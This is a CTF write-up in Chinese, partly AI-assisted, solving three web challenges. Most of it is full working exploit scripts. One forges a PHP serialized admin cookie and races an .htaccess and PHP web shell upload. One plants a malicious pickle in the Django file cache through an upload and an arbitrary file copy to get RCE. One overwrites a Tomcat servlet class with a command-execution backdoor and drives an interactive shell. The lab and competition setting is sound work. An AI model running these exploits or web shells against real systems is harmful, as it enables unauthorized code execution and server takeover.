pcb5-Uplssse
描述:小明开发了一个文件上传系统,但是该系统的配置处理貌似没那么安全,你能发现存在的危险吗
注册个账号登录进去,发现只有admin可以上传文件
查看一下cookie的格式:base64解码后
O:4:"User":4:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";s:10:"isLoggedIn";b:1;s:8:"is_admin";i:0;}
对这个cookie进行修改,伪造admin
O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:1:"1";s:10:"isLoggedIn";b:1;s:8:"is_admin";i:1;}
base64编码后:
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE6IjEiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ==
进入到后台,可以进行文件上传

根据它的描述,会先对上传的文件进行内容安全检测,违规文件进行删除,那么在检测到删除之前就会存在一个时间差,通过这个时间差进行一个条件竞争的利用,也就是在删除直接进行访问执行命令
先随意的上传一个文件,可以发现它的上传文件路径:/var/www/html/tmp/

在初始的让ai写了个脚本进行竞争测试的时候,发现在访问php文件的时候会返回403的状态码,也就是说后台可能存在相应的策略不让访问php文件

继续测试,上传自定义 .htaccess 覆盖原有限制,同时上传php文件进行访问执行
让ai写好相应的脚本进行测试,可以发现php文件被成功执行,返回了相应的内容

最终exp脚本:
"""条件竞争获取Flag"""
import requests, threading, time, re
URL = "http://192.168.18.26:25002"
COOKIE = "user_auth=Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE6IjEiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ=="
HTACCESS = b"AddHandler application/x-httpd-php .php\n"
SHELL = b"<?php echo '<pre>'.shell_exec($_POST['c']).'</pre>';?>"
stop = False
def upload():
h = {"Cookie": COOKIE}
while not stop:
try:
requests.post(f"{URL}/upload.php", files={"file": (".htaccess", HTACCESS)}, data={"upload": "上传文件"}, headers=h, timeout=2)
requests.post(f"{URL}/upload.php", files={"file": ("s.php", SHELL)}, data={"upload": "上传文件"}, headers=h, timeout=2)
except: pass
def access():
global stop
h = {"Cookie": COOKIE}
while not stop:
try:
r = requests.post(f"{URL}/tmp/s.php", headers=h, data={"c": "cat /flag*"}, timeout=2)
if "<pre>" in r.text:
flag = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
if flag:
print(f"\n[+] Flag: {flag.group(1).strip()}")
stop = True
except: pass
print("[*] 开始条件竞争攻击...")
for _ in range(10): threading.Thread(target=upload, daemon=True).start()
for _ in range(20): threading.Thread(target=access, daemon=True).start()
try:
while not stop: time.sleep(0.5)
except KeyboardInterrupt:
stop = True
print("[*] 完成")

pcb5-ezDjango
让AI帮忙辅助审计代码
settings.py 中的缓存配置:
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': os.environ.get('CACHE_PATH', '/tmp/django_cache'),
}
}
CACHE_KEY = os.environ.get('CACHE_KEY', 'pwn')
使用了 FileBasedCache ,缓存文件存储在 /tmp/django_cache/
漏洞点1:文件上传
可上传 .cache 文件到 /tmp/
@csrf_exempt
def upload_payload(request):
if request.method == "POST":
f = request.FILES.get("file", None)
filename = request.POST.get('filename', f.name)
if not filename.endswith('.cache'):
return json_error('Only .cache files are allowed')
filepath = os.path.join('/tmp', filename)
write_file_chunks(f, filepath)
return json_success('File uploaded', filepath=filepath)
漏洞点2:任意文件复制
可将文件复制到任意目录,包括缓存目录
@csrf_exempt
def copy_file(request):
if request.method == "POST":
src = request.POST.get('src', '')
dst = request.POST.get('dst', '')
content = read_file_bytes(src)
with open(dst, 'wb') as dest_file:
dest_file.write(content)
return json_success('File copied', src=src, dst=dst)
漏洞点3:缓存触发,pickle反序列化
调用 cache.get() 会触发 pickle反序列化
@csrf_exempt
def cache_trigger(request):
if request.method == "POST":
key = request.POST.get('key', '') or settings.CACHE_KEY
val = cache.get(key, None) # 触发pickle反序列化!
return json_success('Triggered', value=str(val))
现在整个的一个攻击链就清楚了
┌─────────────────────────────────────────────────────────────┐
│ 1. 构造恶意pickle payload │
│ ↓ │
│ 2. POST /upload/ 上传到 /tmp/evil.cache │
│ ↓ │
│ 3. POST /copy/ 复制到 /tmp/django_cache/{hash}.djcache │
│ ↓ │
│ 4. POST /cache/trigger/ 调用 cache.get() │
│ ↓ │
│ 5. pickle.loads() 执行恶意代码 → RCE! │
└─────────────────────────────────────────────────────────────┘
但是这样还不行,还存在一些其他问题,再继续询问ai的过程中可以发现问题

Django的FileBasedCache存储格式为:
文件内容 = pickle(expiry_time) + zlib.compress(pickle(value))
- 第一部分:过期时间戳(pickle序列化,不压缩)
- 第二部分:缓存值(pickle序列化后 zlib压缩)
Django缓存Key处理
Django的 cache.get(key) 内部会调用 make_key() 函数,将key转换为:
原始key: 'pwn'
Django处理后: ':1:pwn' (格式为 :version:key)
缓存文件名 = md5(':1:pwn').hexdigest() + '.djcache'

最终exp脚本:
import requests
import pickle
import hashlib
import zlib
import io
import time
# ========== 配置 ==========
TARGET = "http://192.168.18.27:25003"
CACHE_KEY = "pwn"
CACHE_DIR = "/tmp/django_cache"
# ========== Pickle RCE Payload ==========
class RCEPopen:
"""使用os.popen执行命令并返回输出"""
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return (eval, (f"__import__('os').popen('{self.cmd}').read()",))
# ========== Django缓存格式 ==========
def make_payload(rce_obj):
"""
Django FileBasedCache格式:
pickle(expiry) + zlib.compress(pickle(value))
"""
expiry = time.time() + 3600
expiry_pickle = pickle.dumps(expiry)
value_pickle = pickle.dumps(rce_obj)
return expiry_pickle + zlib.compress(value_pickle)
def get_cache_filename(key):
"""
Django make_key格式: ':version:key' -> ':1:pwn'
文件名 = md5(':1:pwn') + '.djcache'
"""
django_key = f":1:{key}"
return f"{hashlib.md5(django_key.encode()).hexdigest()}.djcache"
# ========== Exploit ==========
def exploit(cmd="cat /flag"):
session = requests.Session()
print(f"[+] Target: {TARGET}")
print(f"[+] Command: {cmd}")
# 1. 生成恶意payload
payload = make_payload(RCEPopen(cmd))
# 2. 上传到/tmp/
files = {'file': ('evil.cache', io.BytesIO(payload))}
r = session.post(f'{TARGET}/upload/', files=files, data={'filename': 'evil.cache'})
print(f"[*] Upload: {r.json().get('message')}")
# 3. 复制到缓存目录
dst = f"{CACHE_DIR}/{get_cache_filename(CACHE_KEY)}"
r = session.post(f'{TARGET}/copy/', data={'src': '/tmp/evil.cache', 'dst': dst})
print(f"[*] Copy: {r.json().get('message')}")
# 4. 触发RCE
r = session.post(f'{TARGET}/cache/trigger/', data={'key': CACHE_KEY})
data = r.json()
print(f"\n[🎯] Result: {data.get('value')}")
return data.get('value')
if __name__ == "__main__":
import sys
cmd = sys.argv[1] if len(sys.argv) > 1 else "cat /flag"
exploit(cmd)

获得flag:04fc4806fe124a349a72b186b9be85f3
pcb5-ez_java
初始注册之后,可以上传文件,以及查看文件
附件给了这两行提示
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
- 该规则将
/download?path=xyz重写为/xyz。 [B]标志会对路径中的特殊字符进行 URL 编码(backreference escaping)。- 这暗示可以通过
/download接口访问 Web 根目录下的任意文件
通过目录扫描可以发现一个admin.html的路由
但是测试里面的一些接口(如 /admin/rename, /admin/delete),通常会返回 401 Unauthorized,这说明我们没有权限,而且想要注册一个admin用户也不行,后面发现如果不登录的话,可以直接未授权的访问这些接口
下载配置文件
import requests
BASE_URL = "http://192.168.18.25:25004"
HEADERS = {"User-Agent": "Mozilla/5.0"}
def main():
path = "/WEB-INF/web.xml"
url = f"{BASE_URL}/download"
params = {"path": path}
print(f"[*] Downloading {path}...")
try:
resp = requests.get(url, params=params, headers=HEADERS, timeout=5)
print(f"Status: {resp.status_code}")
if resp.status_code == 200:
print("--- BEGIN WEB.XML ---")
print(resp.text)
print("--- END WEB.XML ---")
else:
print(resp.text[:300])
except Exception as e:
print(e)
if __name__ == "__main__":
main()
通过这个配置文件可以得知核心 Servlet 的完整类名
下载 Class 文件
import requests
import os
BASE_URL = "http://192.168.18.25:25004"
HEADERS = {"User-Agent": "Mozilla/5.0"}
DOWNLOAD_DIR = "classes_dump"
def download_class(classname):
# Convert package.Class to path
# com.ctf.DashboardServlet -> WEB-INF/classes/com/ctf/DashboardServlet.class
path = "WEB-INF/classes/" + classname.replace(".", "/") + ".class"
url = f"{BASE_URL}/download"
params = {"path": "/" + path} # Absolute path from web root
print(f"[*] Downloading {classname}...")
try:
resp = requests.get(url, params=params, headers=HEADERS, timeout=10)
status = resp.status_code
print(f" Status: {status}, Size: {len(resp.content)}")
if status == 200:
# Save to file
local_path = os.path.join(DOWNLOAD_DIR, classname + ".class")
os.makedirs(os.path.dirname(local_path), exist_ok=True)
with open(local_path, "wb") as f:
f.write(resp.content)
print(f" Saved to {local_path}")
return local_path
except Exception as e:
print(f" Error: {e}")
return None
def main():
if not os.path.exists(DOWNLOAD_DIR):
os.makedirs(DOWNLOAD_DIR)
classes = [
"com.ctf.DashboardServlet",
"com.ctf.AdminDashboardServlet",
"com.ctf.LoginServlet",
"com.ctf.RegisterServlet",
"com.ctf.BackUpServlet" # Just in case
]
for c in classes:
download_class(c)
if __name__ == "__main__":
main()

将class文件反编译,然后审计代码
漏洞代码1:权限校验绕过
如果cookie为空,直接返回true,绕过权限的校验,前面黑盒时也有发现
漏洞代码 2: 上传目录修改
resourceDir 是一个静态变量,被 DashboardServlet 用作文件上传的存储根目录。 这意味着我们可以通过 /admin/challengeResourceDir 接口,将上传目录修改为任意位置

开始直接尝试jsp文件进行rce,发现失败
通过列目录 (/dashboard/list) 发现 WEB-INF/lib 下缺少 jasper.jar,Tomcat 无法编译和执行 JSP。
后面继续尝试通过覆盖已存在的 Servlet 类文件,并触发服务器重载来执行恶意代码
步骤 1: 准备恶意 Payload
选择不常用的 BackUpServlet (/backup/*) 作为替换目标。
步骤 2: 修改上传目录
利用未授权接口,将上传目录指向 Class 文件所在目录。
- Request :
POST /admin/challengeResourceDir - Data :
new-path=WEB-INF/classes/com/ctf/
步骤 3: 上传恶意 Class
- Request :
POST /dashboard/upload - File :
file=@BackUpServlet.class
步骤 4: 触发应用重载 (Reload)
覆盖 Class 文件后,Tomcat 不会立即通过热加载更新 Servlet,除非 Context 重载。 最简单的方法是修改 web.xml 的时间戳。
- 修改上传目录:
POST /admin/challengeResourceDir->new-path=WEB-INF/ - 上传 web.xml:
POST /dashboard/upload->file=@web.xml(内容不变或微调) - 结果 : Tomcat 检测到
web.xml变更,触发 Context Reload。
步骤 5: 执行命令 (RCE)
等待几秒钟应用重启后,访问被篡改的接口,执行命令。GET /backup/shell?c=id
exp脚本
"""
1. 自动生成恶意的 BackUpServlet.java
2. 自动寻找本地编译环境 (javac + servlet-api.jar) 并编译生成 .class
3. 利用未授权接口修改上传路径
4. 上传恶意 Class 文件覆盖目标服务器文件
5. 上传 web.xml 触发服务器重载
6. 验证 RCE 并在控制台直接交互
"""
import requests
import time
import os
import subprocess
import glob
BASE_URL = "http://192.168.18.25:25004"
HEADERS = {"User-Agent": "Mozilla/5.0"}
# 恶意 Servlet 源码
MALICIOUS_SERVLET = """package com.ctf;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
public class BackUpServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String cmd = req.getParameter("c");
if (cmd != null) {
resp.setContentType("text/plain");
try {
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
int ch;
while ((ch = in.read()) != -1) {
resp.getWriter().write(ch);
}
} catch (Exception e) {
resp.getWriter().write("Error: " + e.getMessage());
}
} else {
resp.getWriter().write("BackUpServlet RCE Active (uid=" + "root" + ")");
// Mock response for quick check if exec failed but class loaded
}
}
}
"""
# 原始 web.xml 内容 (用于触发重载)
WEB_XML_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<display-name>JWT Login WebApp</display-name>
<!-- Reload Trigger: {TIMESTAMP} -->
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.ctf.LoginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>com.ctf.RegisterServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>DashboardServlet</servlet-name>
<servlet-class>com.ctf.DashboardServlet</servlet-class>
<multipart-config>
<max-file-size>10485760</max-file-size>
<max-request-size>20971520</max-request-size>
<file-size-threshold>0</file-size-threshold>
</multipart-config>
</servlet>
<servlet>
<servlet-name>AdminDashboardServlet</servlet-name>
<servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
<multipart-config>
<max-file-size>10485760</max-file-size>
<max-request-size>20971520</max-request-size>
<file-size-threshold>0</file-size-threshold>
</multipart-config>
</servlet>
<servlet>
<servlet-name>BackUpServlet</servlet-name>
<servlet-class>com.ctf.BackUpServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DashboardServlet</servlet-name>
<url-pattern>/dashboard/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AdminDashboardServlet</servlet-name>
<url-pattern>/admin/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>BackUpServlet</servlet-name>
<url-pattern>/backup/*</url-pattern>
</servlet-mapping>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>
"""
def compile_servlet():
print("[*] Generating Payload...")
src_dir = "com/ctf"
if not os.path.exists(src_dir):
os.makedirs(src_dir)
src_file = os.path.join(src_dir, "BackUpServlet.java")
with open(src_file, "w") as f:
f.write(MALICIOUS_SERVLET)
print("[*] Searching for servlet-api.jar...")
# Search in common maven repos locally
home = os.path.expanduser("~")
possible_paths = glob.glob(os.path.join(home, ".m2", "repository", "**", "servlet-api*.jar"), recursive=True)
if not possible_paths:
print("[-] servlet-api.jar not found via glob. Please manually specify classpath.")
return False
jar_path = possible_paths[0]
print(f" Found: {jar_path}")
print("[*] Compiling Payload...")
# Using source/target 8 for compatibility
cmd = ["javac", "-source", "8", "-target", "8", "-cp", jar_path, src_file]
try:
subprocess.check_call(cmd)
print("[+] Compilation Successful: com/ctf/BackUpServlet.class")
return True
except subprocess.CalledProcessError as e:
print(f"[-] Compilation Failed: {e}")
return False
def change_resource_dir(new_path):
url = f"{BASE_URL}/admin/challengeResourceDir"
data = {"new-path": new_path}
try:
requests.post(url, data=data, headers=HEADERS, timeout=5)
return True
except:
return False
def upload_file(filename, content):
url = f"{BASE_URL}/dashboard/upload"
files = {'file': (filename, content, 'application/octet-stream')}
try:
resp = requests.post(url, files=files, headers=HEADERS, timeout=5)
return resp.status_code == 200
except Exception as e:
print(e)
return False
def check_rce():
url = f"{BASE_URL}/backup/shell?c=id"
print(f"[*] Probing RCE Shell: {url}")
try:
r = requests.get(url, timeout=5)
if "uid=" in r.text:
print(f"[+] Root Shell Active! Output: {r.text.strip()}")
return True
else:
print(f"[-] Shell responded but no uid. Body: {r.text[:100]}")
except Exception as e:
print(f"[-] Check failed: {e}")
return False
def main():
print("=== ej_java FULL CHAIN RCE ===")
# 1. Compile
if not compile_servlet():
print("[-] Stopping due to compilation error.")
return
# 2. Upload Class
print("\n[*] Phase 1: Uploading Malicious Class")
change_resource_dir("WEB-INF/classes/com/ctf/")
with open("com/ctf/BackUpServlet.class", "rb") as f:
class_data = f.read()
if upload_file("BackUpServlet.class", class_data):
print(" [+] Class Uploaded")
else:
print(" [-] Class Upload Failed")
return
# 3. Reload Server
print("\n[*] Phase 2: Triggering Server Reload")
change_resource_dir("WEB-INF")
web_xml_content = WEB_XML_TEMPLATE.replace("{TIMESTAMP}", str(time.time()))
if upload_file("web.xml", web_xml_content):
print(" [+] web.xml Touched (Reload Triggered)")
else:
print(" [-] web.xml Upload Failed")
return
print(" Waiting 15s for Tomcat to reload context...")
time.sleep(15)
# 4. Verify & Loop
print("\n[*] Phase 3: RCE Verification")
if check_rce():
print("\n[***] ENJOY YOUR ROOT SHELL [***]")
while True:
cmd = input("shell> ")
if cmd.lower() in ["exit", "quit"]:
break
try:
r = requests.get(f"{BASE_URL}/backup/shell", params={"c": cmd}, timeout=10)
print(r.text)
except Exception as e:
print(e)
else:
print("[-] RCE check failed. Maybe wait longer or check logs.")
if __name__ == "__main__":
main()

